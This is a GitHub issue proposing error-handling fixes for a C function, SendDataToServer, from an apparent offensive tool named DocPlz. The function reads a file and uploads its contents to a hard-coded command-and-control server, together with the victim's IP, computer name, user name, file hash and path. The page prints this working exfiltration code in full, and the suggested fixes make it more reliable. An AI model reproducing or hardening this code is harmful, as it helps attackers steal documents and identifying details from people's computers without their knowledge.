Skip to content

Address error handling consistencies in SendDataToServer #1

Open
@JohnLaTwC

Description

Some failures to release resources in error returns:

void SendDataToServer(const char* filePath, BYTE* fileHash, const char* ip, const char* computerName, const char* userName) {
    WSADATA wsaData;
    SOCKET clientSocket;
    struct sockaddr_in server;

    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        fprintf(stderr, "\nWSAStartup failed. Error Code : %d\n", WSAGetLastError());
        return;
    }

    clientSocket = socket(AF_INET, SOCK_STREAM, 0);
    if (clientSocket == INVALID_SOCKET) {
        fprintf(stderr, "\nCould not create socket : %d\n", WSAGetLastError());
+        WSACleanup();
        return;
    }

    server.sin_addr.s_addr = inet_addr(SERVER_IP);
    server.sin_family = AF_INET;
    server.sin_port = htons(SERVER_PORT_FILE);

    if (connect(clientSocket, (struct sockaddr*)&server, sizeof(server)) < 0) {
        fprintf(stderr, "\nConnect error. Error Code : %d\n", WSAGetLastError());
+        closesocket(clientSocket);
+        WSACleanup();
        return;
    }

    FILE* file = fopen(filePath, "rb");
    if (file == NULL) {
        fprintf(stderr, "\nFile could not be opened.\n");
+        closesocket(clientSocket);
+        WSACleanup();
        return;
    }

    fseek(file, 0, SEEK_END);
    long fileSize = ftell(file);
    fseek(file, 0, SEEK_SET);

    char fileHashStr[65];
    for (int i = 0; i < 32; i++) {
        snprintf(fileHashStr + i * 2, 3, "%02x", fileHash[i]);
    }

    char json[8192];
    snprintf(json, sizeof(json), "{\"ip\":\"%s\",\"computerName\":\"%s\",\"userName\":\"%s\",\"fileHash\":\"%s\",\"filePath\":\"%s\",\"fileSize\":\"%ld\"}", ip, computerName, userName, fileHashStr, filePath, fileSize);

    int jsonSize = strlen(json);

    // Send the size of the JSON data first (converted to network byte order)
    int jsonSizeToSend = htonl(jsonSize);
    send(clientSocket, (char*)&jsonSizeToSend, sizeof(jsonSizeToSend), 0);
    printf("[+] jsonSize = %d\n", jsonSize);
    printf("[+] json : \n%s\n", json);
    // Send the JSON data
    send(clientSocket, json, jsonSize, 0);

    // Read file content into a buffer
    char* fileBuffer = (char*)malloc(fileSize);
    if (fileBuffer == NULL) {
        fprintf(stderr, "\nMemory allocation error.\n");
        fclose(file);
+        closesocket(clientSocket);
+        WSACleanup();
        return;
    }
    fread(fileBuffer, 1, fileSize, file);

    // Send the file data
    send(clientSocket, fileBuffer, fileSize, 0);

    free(fileBuffer);
    fclose(file);
    closesocket(clientSocket);
    WSACleanup();

    printf("\n[+] File sent successfully.\n");
}

https://github.com/TheD1rkMtr/DocPlz/blob/ab7e684aa36eb7e3412e54fcd5cddc697f57100d/1%20-%20Documents%20Uploader/DocsPLZ/ComunicationC2.cpp#L74C16-L74C16

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions